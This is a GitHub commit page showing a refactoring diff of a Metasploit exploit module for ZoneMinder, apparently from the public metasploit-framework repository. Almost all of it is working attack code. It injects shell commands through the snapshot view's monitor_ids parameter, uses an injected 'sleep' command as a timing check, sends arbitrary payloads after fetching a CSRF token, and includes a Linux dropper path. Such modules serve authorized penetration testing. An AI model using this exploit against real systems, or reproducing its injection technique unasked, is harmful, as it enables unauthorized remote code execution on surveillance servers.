Skip to content

Commit

Permalink
Refactoring
Browse files Browse the repository at this point in the history
  • Loading branch information
whotwagner committed Oct 6, 2023
1 parent 2d065d5 commit 84d2044
Showing 1 changed file with 46 additions and 49 deletions.
95 changes: 46 additions & 49 deletions modules/exploits/unix/webapp/zoneminder_snapshots.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,6 @@
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# Copy it to: .msf4/modules/exploits/unix/webapp/zoneminder_snapshots.rb
#
##

class MetasploitModule < Msf::Exploit::Remote
Expand Down Expand Up @@ -57,7 +55,6 @@ def initialize(info = {})
}
],
],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'printf' ],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-24',
Expand All @@ -76,36 +73,36 @@ def initialize(info = {})

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

if res.body =~ /ZoneMinder/
csrf_magic = get_csrf_magic(res)
# This check executes a sleep-command and checks the response-time
sleep_time = 5
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
start = Time.now
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
finish = Time.now
diff = finish - start
if diff > sleep_time
return Exploit::CheckCode::Appears
else
print_good(diff.to_s)
end
else
if res.body !~ /ZoneMinder/
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end

csrf_magic = get_csrf_magic(res)
# This check executes a sleep-command and checks the response-time
sleep_time = 5
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
start = Time.now
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
finish = Time.now
diff = finish - start
if diff > sleep_time
return Exploit::CheckCode::Appears
else
print_good(diff.to_s)
end

Exploit::CheckCode::Safe('Target is not vulnerable')
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown('Could not connect to the web service')
Expand All @@ -117,11 +114,9 @@ def execute_command(cmd, _opts = {})
data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true,
'encode_params' => true
'data' => data.to_s
)
print_good('Payload sent')
rescue ::Rex::ConnectionError
Expand All @@ -133,37 +128,39 @@ def exploit
print_status('Fetching CSRF Token')
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/index.php'),
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
if res && res.code == 200
# parse token
@csrf_magic = get_csrf_magic(res)
unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/
fail_with(Failure::UnexpectedReply, 'Unable to parse token.')
end
else
fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')
end
print_good('Got Token')
# send payload
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end

if res && res.code == 200
# parse token
@csrf_magic = get_csrf_magic(res)
else
fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')
end
print_good("Got Token: #{@csrf_magic}")
# send payload
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

private

def get_csrf_magic(res)
return if res.nil?

res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
token = res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
unless token =~ /^key:[a-f0-9]{40},\d+/
fail_with(Failure::UnexpectedReply, 'Unable to parse token.')
end
token
end
end

0 comments on commit 84d2044

Please sign in to comment.